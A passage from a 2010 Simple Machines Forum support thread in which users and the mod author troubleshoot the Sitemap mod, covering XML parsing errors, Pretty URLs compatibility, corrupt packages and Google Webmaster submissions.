Post by: SlammedDime on August 12, 2010, 01:46:13 AM
Quote from: SlammedDime on August 11, 2010, 02:33:54 PM
In the admin panel, try decreasing the amount of topics that show in the sitemap until you no longer have the 'out of memory' error.
Title: Re: Sitemap
Post by: NoFeaR / NFSMW on August 12, 2010, 04:29:15 AM
Would be cr8 if this mod would work with tiny portal's articles and the aeva media gallery
Title: Re: Sitemap
Post by: pjn on August 12, 2010, 12:54:34 PM
thanx, it's work very good!!!
Title: Re: Sitemap
Post by: codr3sh on August 17, 2010, 03:36:40 PM
Hi and thanks for this great mod.

I'm using the last version on smf 1.1.11 but I have some "problems"/ questions.
1. How can I list more urls in sitemap.xml ? I have changed tha value for "sitemap_topic_count" to 20000000 but the page export only 2592 links

2. How can I export the links in url rewrite mod.
Now the export looks like forum.com/index.php?board=16.0 etc
But I want all the links to be in this format forum.com/topic-name/ , I'm using pretty urls mod.

3. There is a address in admin panel where I can access the settings for this plugin?


Thank you.
Title: Re: Sitemap
Post by: Dzonny on August 18, 2010, 04:15:55 AM
Hello there.

I got this error when browsing sitemap:
Quote
XML Parsing Error: no element found
Location: http://www.samo-opusteno.info/forum/index.php?action=sitemap;xml
Line Number 1, Column 1:
U can see it here:
http://www.samo-opusteno.info/forum/index.php?action=sitemap;xml

Version of smf: 1.1.11

Also, i got this in error log:
Quote
database Error: Got a packet bigger than 'max_allowed_packet' bytes
File: /home/samoopu/public_html/forum/Sources/PrettyUrls-Filters.php
Line: 47
I guess that pretty urls have to be edited, but i have no idea what exectly i should do.
Title: Re: Sitemap
Post by: codr3sh on August 18, 2010, 10:40:32 AM
It's working for me...here's a print screen
(https://www.simplemachines.org/community/proxy.php?request=http%3A%2F%2Fwww.design-site-web.net%2Fprint.jpg&hash=a86e475899c1656425455dfb536a19d11fda1a30)

How did you made it to export links in pretty url mode?


Thank you.
Title: Re: Sitemap
Post by: codr3sh on August 18, 2010, 01:55:28 PM
Nobody here?
Title: Re: Sitemap
Post by: mirahalo on August 18, 2010, 02:32:00 PM
@codr3sh  all the people you see in here, including the mod author are volunteers, so, if nobody answer you its mostly because they are busy or simple do not have the answer,  tray search a little i have seen the code to make this mod work with pretty urls mod, try searching on this topic and on prety urls s one, and be patient.
Title: Re: Sitemap
Post by: Dzonny on August 18, 2010, 05:46:50 PM
 codr3sh, doesnt work for me, i dont know how did u printscreen it when i cant browse xml sitemap. :/
Title: Re: Sitemap
Post by: SlammedDime on August 19, 2010, 02:16:03 AM
Changes overtime to PrettyUrls have somehow caused the 1.1.x version of the mod not to work with it anymore out of the box.  There are posts in the past few pages where people have gotten it to work by modifying some code.

Quote from: codr3sh on August 17, 2010, 03:36:40 PM
Hi and thanks for this great mod.

I'm using the last version on smf 1.1.11 but I have some "problems"/ questions.
1. How can I list more urls in sitemap.xml ? I have changed tha value for "sitemap_topic_count" to 20000000 but the page export only 2592 links

2. How can I export the links in url rewrite mod.
Now the export looks like forum.com/index.php?board=16.0 etc
But I want all the links to be in this format forum.com/topic-name/ , I'm using pretty urls mod.

3. There is a address in admin panel where I can access the settings for this plugin?


Thank you.
1) The sitemap will display what the viewing user can see, regardless of what number you try and set it to (this was changed in the 2.0 version which always only shows what a guest can see).

2) See above

3)Yes, it has a few options under the 'Features and Options' area.


Dzonny, try decreasing the number of topics shown in the XML sitemap (or start at 1000 and go up from there)
Title: Re: Sitemap
Post by: codr3sh on August 19, 2010, 02:37:39 AM
Thank you SlammedDime, I will search for the topics where users made the changes to export links in pretty mode.
1. I'm didn't update my forum from 1.1.11 to 2.0 to install the v2 of the mod. I see in the page that the last version for 1.1.11 is 1.2.2
In this version of the mode , how can I export more links?

3. I found three options:
Show Sitemap XML link - checked
Max number of topics to display in sitemap - 20000000 ( but it's exporting 2592 links )
Collapse child boards in sitemap - checked

Dzonny, try a different browser or right click "view source" because some browsers don't know to render some piece of code.


Thank you.
Title: Re: Sitemap
Post by: SlammedDime on August 19, 2010, 03:49:10 AM
Quote from: SlammedDime on August 19, 2010, 02:16:03 AM1) The sitemap will display what the viewing user can see, regardless of what number you try and set it to (this was changed in the 2.0 version which always only shows what a guest can see).

It doesn't matter if you set it to 20000000000000000000000000000000000... if the user can only view 2592 links, that is what it will show.  There is no point in showing links that a user can't view.
Title: Re: Sitemap
Post by: codr3sh on August 19, 2010, 04:02:03 AM
Maybe I'm not very explicit...

You said that the v2 has the ability to export all the public links beside what value I'm entering in max number, but I'm not using v2 because that version only work on smf 2.0.

My smf is 1.1.11, so even here the option to export all the public links but with v 1.2.2 of the mod still applies ?

I have verify and all the topics and pages of my form are public. I even tried to surf them like a guest and everything is public.

Thank you and sorry if I get misunderstood.
Title: Re: Sitemap
Post by: SlammedDime on August 19, 2010, 05:10:13 AM
1.1.x exports all links that the currently viewing user can see... if a guest views the sitemap, it will show what a guest can see... if an admin views, it will show what an admin can see.

2.0 exports only links viewable to guests, regardless of who is viewing the page.

Why do you think that it isn't exporting all of the topics for your board?
Title: Re: Sitemap
Post by: codr3sh on August 19, 2010, 05:24:53 AM
Ok I got it...

There are more topics than links exported, but after I recounted them it seems like there are not so many excluded so it's ok.

Thank you again for the time and precise explanation.
Title: Re: Sitemap
Post by: Dzonny on August 19, 2010, 05:32:46 AM
Thank you guys for answers, i got it working with 12100 links.
However i have this errors in error log when browsing sitemap page for a while, and have no idea how to fix it, couse all codes of mod are in files including translation, and error is about undefined index.
Quote
8: Undefined index: nump
Datoteka: /home/samoopu/public_html/forum/Themes/opusteno/Sitemap.template.php
Linija: 75

Also...

8: Undefined index: numt
Datoteka: /home/samoopu/public_html/forum/Themes/opusteno/Sitemap.template.php
Linija: 74

8: Undefined index: description
Datoteka: /home/samoopu/public_html/forum/Themes/opusteno/Sitemap.template.php
Linija: 73

8: Undefined index: name
Datoteka: /home/samoopu/public_html/forum/Themes/opusteno/Sitemap.template.php
Linija: 72

8: Undefined index: id
Datoteka: /home/samoopu/public_html/forum/Themes/opusteno/Sitemap.template.php
Linija: 72
Title: Re: Sitemap
Post by: SlammedDime on August 19, 2010, 06:59:12 AM
That means that you have a board somewhere that is visible to guests, but it's parent is not.  It's a small bug in the mod, but can be resolved by setting all sub boards of any board you have hidden to also be hidden from view.
Title: Re: Sitemap
Post by: Dzonny on August 19, 2010, 07:10:05 AM
Thank you very much, ive solve that by resetting persmissions to that boards, and no error now.

Regards. :)
Title: Re: Sitemap
Post by: L Lawliet on August 19, 2010, 10:00:10 AM
Hi, can you suggest that sending to Google the sitemap on the modification? And is it enough to name sitemap.xml and save as the link of http://localhost/index.php?action=sitemap;xml to downlaod sitemap on the modification?
Title: Re: Sitemap
Post by: mirahalo on August 19, 2010, 10:15:53 AM
as a tip, you can also suggest your rss feed to google  ;)

and nope,  Google will accept the default link http://localhost/index.php?action=sitemap;xml  there's no need to changing that to sitemap.xml
Title: Re: Sitemap
Post by: L Lawliet on August 19, 2010, 10:26:48 AM
I tried index.php?action=.xml, but Google said that "Sitemap appears to be an HTML page. Please use a supported sitemap format instead." ;)
Title: Re: Sitemap
Post by: mirahalo on August 19, 2010, 10:34:41 AM
on your site map page,   on the bottom theres a  XML button,   click on it,   that is the url you have to send to google
Title: Re: Sitemap
Post by: frantic on August 19, 2010, 06:42:03 PM
This is a great mod.  I do have one question, I'm running simple portal and i noticed that the portal page doesn't get indexed in the site map.  Is their a way to enable this?
Title: Re: Sitemap
Post by: SlammedDime on August 19, 2010, 06:44:03 PM
At this time there is no way to add custom pages other than manually editing the template.
Title: Re: Sitemap
Post by: frantic on August 19, 2010, 09:20:01 PM
Thanks for the quick update SlammedDime.  Can you tell me how i would go about manually editing the portal templates for the sitemap? Like what code i need to add or replace?  Is this something i need to go ask the simpleportal team at their site?
Title: Re: Sitemap
Post by: Balaban on August 23, 2010, 10:42:52 AM
Hi...

"action=sitemap" is ok ...
but sitemap;xml isn't work for me.. can't open

error :
"XML parsing failed: syntax error (Line: 1, Character: 0)
Error:missing root element"
Title: Re: Sitemap
Post by: wiedthauper on August 31, 2010, 08:39:29 PM
Please, I need everyone's help, I installed this mod for the sitemap, but it happens that I do not think he's anywhere in the forum page package shows that it is installed, but actually I do not think he already tried throughout the forum and can not find the sitemap, how can I solve this problem?

here is the link that should drive to the sitemap, looks like it is:
http://forum.g1downloads.tk/index.php?action=sitemap;xml
Title: Re: Sitemap
Post by: wiedthauper on September 02, 2010, 11:57:04 AM
anyone?
Title: Re: Sitemap
Post by: SlammedDime on September 02, 2010, 01:26:59 PM
Do any other mods install properly?  If it won't install automatically you may have to do it manually.
Title: Re: Sitemap
Post by: wiedthauper on September 02, 2010, 05:40:29 PM
how do this?
I explain in detail last time I tried to replace files manually gave error in the template and had to re-install the forum
Title: Re: Sitemap
Post by: wiedthauper on September 04, 2010, 02:52:39 PM
anyone?
Title: Re: Sitemap
Post by: SlammedDime on September 04, 2010, 04:08:05 PM
Manual Installation of Mods (http://docs.simplemachines.org/index.php?topic=402.0)
Title: Re: Sitemap
Post by: wiedthauper on September 05, 2010, 01:33:15 PM
Thank you everyone!
but it solved my problem by following the step by step tutorial manufacturer's own mod. for those who have the same problem there goes the link:
http://custom.simplemachines.org/mods/index.php?mod=755
Title: Re: Sitemap
Post by: jimmyv on September 08, 2010, 03:38:32 PM
My sitemap URLs do not contain a "WWW" and google tells me my sitemap URL begins WWW so there is a conflict and my URLS are not being indexed.

I have pretty URL installed on 2.0rc3 version.

Whats strange is in my effort to solve I used an htaccess file to make all URLS www and when viewing my forum www.salonbabble.com all the URLS have a www in them from the htaccess force. But in sitemap it doesn't convert to those URLs in its output.

Does anyone know how to force the WWW into the URLs of sitemap output or fix problem some other way?
Title: Re: Sitemap
Post by: frantic on September 14, 2010, 07:00:30 PM
Hey dime, I'm trying to install the sitemap mod with this theme "Anecdota_alt" and i have a problem with one of the failed code changes. It adds the sitemap to the footer.  See code change in the first quote.
Quotetheme/anecdota_alt/Index_template.php
Find
         <li class="copyright">', theme_copyright(), '</li>

Add After
         <li><a href="', $scripturl, '?action=sitemap"><span>', $txt['sitemap'] ,'</span></a></li>

Closes thing i could find was this one and i'm guessing its suppose to come after it. 
Quote<div id="footer">
<div id="foot-l">
<div id="foot-r">
<div id="footerarea">
<span class="smalltext">', theme_copyright(), '
Anecdota_alt by <a href="http://www.jpr62.com" target="_blank"><b>Crip</b></a></span>';

I'm not very good with code and i tried a couple things but sadly not doing such a great job.   Any help would be appreciated.
Title: Re: Sitemap
Post by: frantic on September 15, 2010, 05:09:02 AM
Nevermind, i got it going.
Title: Re: Sitemap
Post by: Sirius OCTeam on September 19, 2010, 05:35:00 AM
Hello

got my smf log full of:

url:*******/forum/index.php?action=sitemap;xml
Undefined index: sitemap
File: ********/forum/Sources/Sitemap.php
Line: 27


and at the 27th line of this file we got:

25: $context['linktree'][] = array(
26: 'url' => $scripturl . '?action=sitemap',
==>27: 'name' => $txt['sitemap'],


With the 2.1.2 version

Any fix ?

Thanks
Title: Re: Sitemap
Post by: SlammedDime on September 19, 2010, 03:20:48 PM
Means that your language files aren't updated properly... if you're using a language other than english, you need to copy the language strings from Modifications.english.php to Modifications.language.php
Title: Sitemap
Post by: chinu_491985 on September 22, 2010, 02:32:34 AM
Hello Friends,

I want to that I have installed sitemap mod and pretty urls in my forum. But whenever i use to click on sitemap.xml it use to show the default urls. Please check out the sitemap at the bottom of the site. The site technologieshelp.co.cc
Title: Re: Sitemap
Post by: mirahalo on September 22, 2010, 09:23:58 AM
theres a hack to make pretty urls and sitemap to work properly, its in either this topic or on pretty urls one, checl out this one:

http://www.simplemachines.org/community/index.php?topic=170813.msg2612505#msg2612505
Title: Re: Sitemap
Post by: OnlineFunCorner on September 23, 2010, 08:49:21 AM
Hy
I Transfer Forum To Other Hosting, Server
--
http://www.test.com/index.php?action=sitemap;xml            Shows This Error

QuoteXML Parsing Error: XML or text declaration not at start of entity
Location: http://www.test.com/index.php?action=sitemap;xml
Line Number 2, Column 1:

<?xml version="1.0" encoding="UTF-8"?>
^

Also These Functions Are Disturb Or Not Working
As
QuoteQuote
Post Preview
Stats Etc

Please Help
Title: Re: Sitemap
Post by: wedost.com on October 01, 2010, 08:29:01 AM
You are hero :)
Quote from: mu271828 on May 04, 2010, 03:30:12 AM
I was about to ask why the XML sitemap does not contain pretty URLs, though the mod of the same name is installed..

But then I discovered that line 189 of Sitemap.php checks for $modSettings['pretty_enable_filters'] == 'on', where it is really set to '1' when they're enabled.  Works great now.  Just in case anyone has the same problem.

Thanks for the mod!
Title: Re: Sitemap
Post by: Blade_Runner on October 07, 2010, 07:25:56 AM
I would like to thank the person for creating this great mod.
Lately, I have SMF default SEF urls enabled. The SEF URLs are working fine but this sitemap mod does not display the SEF urls in xml.

The following sitemap link displays all links in SEF URLs.
http://modcarclub.com/forums/index.php?action=sitemap

Current Sitemap XML URL - http://modcarclub.com/forums/index.php?action=sitemap;xml display the following non-SEF URLs.
http://modcarclub.com/forums/index.php?board=30.0

I need it to be like SMF Default Enabled URL
http://modcarclub.com/forums/index.php/board,30.0.html

Any advice is greatly appreciated.
Title: Re: Sitemap
Post by: Arkadaş on October 09, 2010, 04:06:17 PM
I have been using this mod error free until upgrade to smf 2 rc3.
Before upgrade I unistall all MODs then do the upgrade, upgrade was successful.
After re-installation of this Sitemap Mod I started getting this error in errors log


..../forum/index.php?action=sitemap;xml8: Undefined index: sitemapFile: .../public_html/forum/Sources/Sitemap.phpLine: 27
I click the error message I got this



:25: $context['linktree'][] = array( 26: 'url' => $scripturl . '?action=sitemap', ==>27: 'name' => $txt['sitemap'], 28: ); 29: Help pls. How do I fix this even though the forum seems in good working condition
Title: Re: Sitemap
Post by: SlammedDime on October 09, 2010, 08:31:07 PM
Either clear your file cache or make sure the mod installed properly to Modifications.english.php
Title: Re: Sitemap
Post by: agridoc on October 10, 2010, 02:59:27 PM
I had a message in Greek support board (http://www.simplemachines.org/community/index.php?topic=404223.msg2814036#msg2814036) that smf_sitemap_1.2.2.tar.gz for SMF 1.1x could not be loaded, giving a corrupt file error message. I confirm this. With unpacking the file and making a zip this was overcome.

Please have a look at.
Title: Re: Sitemap
Post by: SlammedDime on October 10, 2010, 03:20:42 PM
I downloaded it, then installed it on my test 1.1.11 setup and it worked just fine for me without any issues.
Title: Re: Sitemap
Post by: agridoc on October 10, 2010, 03:31:41 PM
I wouldn't post without confirming. I suspect some incompatibility with server unpacking software, so the problem may exist in some hosts only.
Title: Re: Sitemap
Post by: Blade_Runner on October 13, 2010, 06:32:44 PM
Quote from: Blade_Runner on October 07, 2010, 07:25:56 AM
I would like to thank the person for creating this great mod.
Lately, I have SMF default SEF urls enabled. The SEF URLs are working fine but this sitemap mod does not display the SEF urls in xml.

The following sitemap link displays all links in SEF URLs.
http://modcarclub.com/forums/index.php?action=sitemap

Current Sitemap XML URL - http://modcarclub.com/forums/index.php?action=sitemap;xml display the following non-SEF URLs.
http://modcarclub.com/forums/index.php?board=30.0

I need it to be like SMF Default Enabled URL
http://modcarclub.com/forums/index.php/board,30.0.html

Any advice is greatly appreciated.

Does this mod supports default SMF SEF url for xml?
Title: Re: Sitemap
Post by: Sirius OCTeam on October 17, 2010, 06:06:57 PM
Quote from: SlammedDime on September 19, 2010, 03:20:48 PM
Means that your language files aren't updated properly... if you're using a language other than english, you need to copy the language strings from Modifications.english.php to Modifications.language.php

Thanks, solved, so we need the utf-8 version of the language.
Title: Re: Sitemap
Post by: BLueSS on October 23, 2010, 09:14:51 PM
SlammedDime,

It has been a while since asking, but I wanted to re-ask if there is a way that Articles could be added as something the sitemap reads?
Thanks
Title: Re: Sitemap
Post by: SlammedDime on October 23, 2010, 09:35:14 PM
Yea, I'm thinking of adding a small set of hooks for the sitemap that allows other mod authors to include their own content in the sitemap (be it gallery items or articles from a portal or whatever else)... Will probably have that in the release of Sitemap for 2.0 RC4.
Title: Re: Sitemap
Post by: SlammedDime on October 24, 2010, 03:41:51 AM
Ok, I've made it very modular and extensible now... anyone can add a simple file to a specified directory and as long as that file contains the necessary functions and is formatted the right way, any thing can be included in the sitemap with no code modifications.  http://www.mattzuba.com/2010/10/custom-sitemap-entries-with-smf-and-sitemap/ (mainly aimed at mod authors)
Title: Re: Sitemap
Post by: BLueSS on October 25, 2010, 01:21:17 PM
Did you stop all development on the mod for SMF 1.1.x?  I'm not on SMF2.0 due to a heavily modded site, and It appears 2.0RC4 will only work in SMF2.0, yes?
Title: Re: Sitemap
Post by: SlammedDime on October 25, 2010, 01:38:42 PM
Yes, I've stopped the sitemap for 1.1.x at this point, all development is on the 2.x line of Sitemap for SMF 2.0.
Title: Re: Sitemap
Post by: SlammedDime on October 25, 2010, 08:00:43 PM
Updated mod to version 2.2.0 with support for other types of mods that want to add data to the sitemap.  Also fixed the way topics and boards were cached to reduce server load even further.
Title: Re: Sitemap
Post by: pheadrus on October 26, 2010, 06:21:14 AM
Hi slammeddime,
I really appreciate your efforts on this mod. Nice job and really effective to bump our forums at search engines.
I want to report my problem during mod installation (which is solved,but wanna share here maybe could help others): 
After getting the mod update mail yesterday, I decided to install the new version of the mod (2.2.0). However, there was a problem and mod install process showed me the error right at code shown below:

<file name="$sourcedir/Admin.php">
<operation>
<search position="before"><![CDATA[ // Note the comma!! The setting with automatically appear with the first mod to be added.
]]></search>
<add><![CDATA[ 'sitemap' => array($txt['sitemap']),
]]></add>
</operation>
</file>


I checked admin.php and searched the phrase by notepad++. it could find the exact phrase. I looked letter by letter manually and also didnt find any difference between the phrase at install.xml and at admin.php  . That was strange. So, I decided to add the phrase manually. The rest is installed by smf install. The mod has no problem now and the phrase at admin.php is exactly where it should be :)
Hope that will help.

Best Regards, 
Title: Re: Sitemap
Post by: Baloch on October 26, 2010, 07:46:18 AM
Why button of Sitemap (2.2.0) is not being updated in menu bar?
Title: Re: Sitemap
Post by: SlammedDime on October 26, 2010, 10:53:28 AM
Quote from: Baloch on October 26, 2010, 07:46:18 AM
Why button of Sitemap (2.2.0) is not being updated in menu bar?
The sitemap has never added a button to the menu bar.
Title: Re: Sitemap
Post by: JD82 on October 27, 2010, 07:24:20 AM
Hi,
I just updated this mod from v2.1.2 to v2.2.0 but I get this error on Google Chrome when I open the XML sitemap:
This page contains the following errors:

error on line 1 at column 6: XML declaration allowed only at the start of the document
Below is a rendering of the page up to the first error.


This is an excerpt of the generated XML:
<?xml version="1.0" encoding="UTF-8"?>
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.sitemaps.org/schemas/sitemap/0.9
http://www.sitemaps.org/schemas/sitemap/0.9/sitemap.xsd">
<url>
<loc>http://www.anddev.it/index.php</loc>
<lastmod>2010-10-27T13:17:12+02:00</lastmod>
<changefreq>always</changefreq>
<priority>1.0</priority>
</url>
<url>
<loc>http://www.anddev.it/index.php/board,13.0.html</loc>
<lastmod>2010-10-27T13:02:11+02:00</lastmod>
<changefreq>daily</changefreq>
<priority>0.8</priority>
</url>
<url>
<loc>http://www.anddev.it/index.php/board,15.0.html</loc>
<lastmod>2010-10-27T11:51:03+02:00</lastmod>
<changefreq>daily</changefreq>
<priority>0.8</priority>
</url>
<url>
<loc>http://www.anddev.it/index.php/board,12.0.html</loc>
<lastmod>2010-10-27T09:34:11+02:00</lastmod>
<changefreq>daily</changefreq>
<priority>0.8</priority>
</url>
<url>
<loc>http://www.anddev.it/index.php/board,11.0.html</loc>
<lastmod>2010-10-27T01:40:29+02:00</lastmod>
<changefreq>daily</changefreq>
<priority>0.8</priority>
</url>
[...]


Here is a link to the XML Sitemap:
http://www.anddev.it/index.php?action=sitemap;xml
Title: Error with Mod Sitmap
Post by: lokius-sp on October 27, 2010, 02:20:01 PM
My problem is:

I have successfully installed the Mod, I'm going to http://www.yuuzhanvong.zobyhost.com/foro/index.php?action=sitemap I get everything right until  xml, I get the following error:

it's on http://yuuzhanvong.zobyhost.com/forum/sitemap/?Xml

In the Safari browser I get this:

This page contains the Following errors:

Error on line 36 at column 342: Extra content at the end of the document
Below is a rendering of the page up to the first error.

http://yuuzhanvong.zobyhost.com/forum/index.php  2010-10-23T13: 33:44 +00:00 always 1.0
http://yuuzhanvong.zobyhost.com/Forum/sanctions/ 2010-10 - 04T17: 46:56 +00:00 daily 0.8
http://yuuzhanvong.zobyhost.com/Forum/theory-of-the-Yuuzhan-Vong/ 2010-09-28T21: 57:28 +00:00 daily 0.8
http://yuuzhanvong.zobyhost.com/Forum/penalties/sanctions/ 2010-10-04T17: 46:56 +00:00 weekly 0.8
http://yuuzhanvong.zobyhost.com/Forum/theory-of-the-Yuuzhan-Vong/theory-society-Yuuzhan-Vong/ 2010-09-28T21: 57:28 +00:00 weekly 0.8

In firefox this:

XML read error: wrong content behind an XML element of document
Location: http://yuuzhanvong.zobyhost.com/forum/sitemap/?Xml
Number of line 36, column 10: </ urlset> <head>
---------^

In the logs I get this error:

Undefined index: sitemap

I need to fix this problem so they can be more easily indexed by Google

Thanks in advance.
Title: Re: Sitemap
Post by: locutusweb on October 27, 2010, 02:37:18 PM
I want to confirm JD82's error with a fresh install of sitemap 2.2.0. Not only Google Chrome reports the error, also IE does.

I noticed a strange start of the xml file: a dot or something like that before the first opening bracket. Looks like an encoding problem?


Title: Re: Sitemap
Post by: SlammedDime on October 27, 2010, 02:44:31 PM
Ahh... sorry about that, I'll have to upload a fix... a couple of files got stuck with BOM on them...
Title: Re: Sitemap
Post by: SlammedDime on October 27, 2010, 02:50:54 PM
lokius-sp - I merged your topic with this support topic.  I'm going to guess that your issue is no longer an issue as your site doesn't load.
Title: Re: Sitemap
Post by: InfoStrides on October 28, 2010, 05:08:03 AM
I installed the latest version of this mod and discovered similar bugs as posted above because all my indexed pages on Google Webmasters vanished.

On chrome, I equally got this error:
QuoteThis page contains the following errors:

error on line 1 at column 6: XML declaration allowed only at the start of the document
Below is a rendering of the page up to the first error.

You view the error here: http://www.theinfostrides.com/index.php?action=sitemap;xml

Please help.
Title: Re: Sitemap
Post by: SlammedDime on October 28, 2010, 07:13:04 AM
I've uploaded a new version, 2.2.1.  uninstall 2.2.0 and install 2.2.1 and the errors should be gone.
Title: Re: Sitemap
Post by: lokius-sp on October 28, 2010, 01:02:41 PM
Quote from: SlammedDime on October 27, 2010, 02:50:54 PM
lokius-sp - I merged your topic with this support topic.  I'm going to guess that your issue is no longer an issue as your site doesn't load.
www.yuuzhanvong.zobyhost.com/Foro/index.php?action=sitemap

The url works perfectly.

But no Sitemap...
Title: Re: Sitemap
Post by: SlammedDime on October 28, 2010, 03:36:49 PM
Look at the source code for the XML page, you'll see a bunch of extra code at the bottom of the sitemap that causes it not to display right... That same code is at the bottom of every page of your site... if you're not sure how to remove it or what it's for, you should contact your host.
Title: Re: Sitemap
Post by: SlammedDime on November 01, 2010, 07:55:43 PM
Updated for 2.0 RC4
Title: Re: Sitemap
Post by: locutusweb on November 02, 2010, 03:48:11 AM
Quote from: SlammedDime on October 28, 2010, 07:13:04 AM
I've uploaded a new version, 2.2.1.  uninstall 2.2.0 and install 2.2.1 and the errors should be gone.
I want to confirm a succesfull fix! Thanks Dime!
Title: Re: Sitemap
Post by: kibtwane on November 02, 2010, 09:49:42 PM
Thanks, SlammedDime, for a superb mod that is one of SMF's very best.

A basic question: I have entered the url for my sitemap in Google Webmaster's Tools. Do I need to resubmit the sitemap manually, or does Google do this automatically whenever it detects changes in the sitemap?
Title: Re: Sitemap
Post by: SlammedDime on November 03, 2010, 02:01:52 AM
Thanks :)

Google will routinely crawl the sitemap and since the sitemap is created 'on-the-fly', it will always show the most recent information to Google.  There is no need to resubmit it at any time.
Title: Re: Sitemap
Post by: zzuzu on November 05, 2010, 07:50:27 AM
I keep getting error from google that format is not supported:

http://dmd247.com/sitemap/?xml

Can you help me out, please?
Title: Re: Sitemap
Post by: SlammedDime on November 05, 2010, 11:10:12 AM
Quote from: zzuzu on November 05, 2010, 07:50:27 AM
I keep getting error from google that format is not supported:

http://dmd247.com/sitemap/?xml

Can you help me out, please?
Your forum is closed to guests, there is no point in submitting a sitemap to google.
Title: Re: Sitemap
Post by: b4pjoe on November 12, 2010, 01:16:59 PM
Quote from: SlammedDime on November 05, 2010, 11:10:12 AM
Quote from: zzuzu on November 05, 2010, 07:50:27 AM
I keep getting error from google that format is not supported:

http://dmd247.com/sitemap/?xml

Can you help me out, please?
Your forum is closed to guests, there is no point in submitting a sitemap to google.

I'm getting the same error from the Google Webmaster Tools and my sight is accessible for guests. They can read but they can't post.
Title: Re: Sitemap
Post by: SlammedDime on November 12, 2010, 01:40:10 PM
What is the URL you submitted?
Title: Re: Sitemap
Post by: b4pjoe on November 12, 2010, 01:56:12 PM
Quote from: SlammedDime on November 12, 2010, 01:40:10 PM
What is the URL you submitted?

http://www.b4print.com/index.php?action=sitemap;xml
Title: Re: Sitemap
Post by: SlammedDime on November 12, 2010, 02:01:07 PM
It validates fine...

QuoteSchema validating with XSV 3.1-1 of 2007/12/11 16:20:05

    * Target: http://www.b4print.com/index.php?action=sitemap;xml (http://www.b4print.com/index.php?action=sitemap;xml)
         (Real name: http://www.b4print.com/index.php?action=sitemap;xml (http://www.b4print.com/index.php?action=sitemap;xml)
          Last Modified: Fri, 12 Nov 2010 18:59:06 GMT
          Server: Apache mod_fcgid/2.3.5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635)
    * docElt: {http://www.sitemaps.org/schemas/sitemap/0.9}urlset
    * Validation was strict, starting with type [Anonymous]
    * schemaLocs: http://www.sitemaps.org/schemas/sitemap/0.9 (http://www.sitemaps.org/schemas/sitemap/0.9) -> http://www.sitemaps.org/schemas/sitemap/0.9/sitemap.xsd (http://www.sitemaps.org/schemas/sitemap/0.9/sitemap.xsd)
    * The schema(s) used for schema-validation had
        no errors
    * No schema-validity problems were found in the target
       

Schema resources involved

Attempt to load a schema document from
http://www.sitemaps.org/schemas/sitemap/0.9/sitemap.xsd (http://www.sitemaps.org/schemas/sitemap/0.9/sitemap.xsd)
(source: schemaLoc) for
   http://www.sitemaps.org/schemas/sitemap/0.9 (http://www.sitemaps.org/schemas/sitemap/0.9),
    succeeded

All I could suggest is try decreasing the number of topics displayed to see if that helps, maybe the page is taking too long too load (which would be odd since the data is cached and should be displayed relatively fast).
Title: Re: Sitemap
Post by: b4pjoe on November 12, 2010, 02:16:52 PM
What is odd, if my only site entry into the Google Webmaster Tool is www.b4print.com that sitemap fails. If I add an entry for b4print.com and submit the sitemap as http://b4print.com/index.php?action=sitemap;xml for it Google accepts it though it is basically the exact same thing as http://www.b4print.com/index.php?action=sitemap;xml

I have my Preferred domain set as www.b4print.com if that matters.

Edit: here are two screen shots attached. The www.b4print one shows that "Index count pending" but that never changes. It's been that way for quite some time now. Weeks or months I mean.
Title: Re: Sitemap
Post by: petb on November 13, 2010, 02:24:21 AM
I know that in the Past, Google had Problems to handle the Sitemap URL.
Google is verry sensible about that.

A rewrite Rule in your .htaccess File could do this permananently for you, so that google can acces a sitemap.xml

RedirectMatch ^/sitemap.xml$  /index.php?action=sitemap;xml

For Testing, create a sitemap.xml file and upload it to your webspace an let google try to access this file.

bye
PetB
Title: Re: Sitemap
Post by: b4pjoe on November 13, 2010, 02:05:51 PM
Quote from: SlammedDime on November 12, 2010, 02:01:07 PM
All I could suggest is try decreasing the number of topics displayed to see if that helps, maybe the page is taking too long too load (which would be odd since the data is cached and should be displayed relatively fast).

There must have been a glitch at Google. I resubmitted it this morning and it took it fine. Thanks for your help.
Title: Re: Sitemap
Post by: Phat^Trance on November 21, 2010, 11:36:07 AM
When im trying to upload the sitemap plugin (smf_sitemap_1.2.2.tar.gz) on my SMF 1.1.11 im getting this error message (never got this before when installing plugins)

An Error Has Occurred!
The package you tried to upload either is not a valid package or has become corrupted.


How can i solve this? renaming the file to .zip didnt help
Title: Re: Sitemap
Post by: SlammedDime on November 21, 2010, 11:40:10 AM
not sure why some people have that issue... it works just fine for me.  I'd recommend getting a zipper like 7Zip, decompressing the archive to your desktop and recompressing as a zip and try again.
Title: Re: Sitemap
Post by: Phat^Trance on November 21, 2010, 11:48:03 AM
Quote from: SlammedDime on November 21, 2010, 11:40:10 AM
not sure why some people have that issue... it works just fine for me.  I'd recommend getting a zipper like 7Zip, decompressing the archive to your desktop and recompressing as a zip and try again.

thx it worked when using winrar o recompress the files..

im getting this error message when installing the package tho. any idea on how i can solve this?


Fatal error: require(): Failed opening required '/home/phat/forum.dailymobile.se/Packages/temp/./add_settings.php' (include_path='.:/usr/lib/php') in /home/phat/forum.dailymobile.se/Sources/Packages.php on line 556
Title: Re: Sitemap
Post by: SlammedDime on November 21, 2010, 12:00:46 PM
Sounds like add_settings.php didn't make it into the recompressed package.
Title: Re: Sitemap
Post by: Phat^Trance on November 21, 2010, 12:03:16 PM
Quote from: SlammedDime on November 21, 2010, 12:00:46 PM
Sounds like add_settings.php didn't make it into the recompressed package.

tried to compress the files several times now. getting the same error message :/

anyone feel liks uploading the file so that i can try to download it?
Title: Re: Sitemap
Post by: Adrek on November 21, 2010, 12:27:48 PM
Quote from: BLueSS on March 13, 2010, 06:25:33 AM
but I am looking to see if sitemap supports (...) TinyPortal's Article System. Right now articles aren't in my sitemap. :(


Maybe now someone has any solution for the articles in Sitemap ??
Title: Re: Sitemap
Post by: SlammedDime on November 21, 2010, 01:06:26 PM
If you're using SMF 2.0 and the latest version of the sitemap, it is very easy to add articles (well, easy for the mod author to create a plugin for it, I unfortunately don't have time)... http://www.mattzuba.com/2010/10/custom-sitemap-entries-with-smf-and-sitemap/
Title: Re: Sitemap
Post by: Phat^Trance on November 21, 2010, 02:07:39 PM
Quote from: SlammedDime on November 21, 2010, 01:06:26 PM
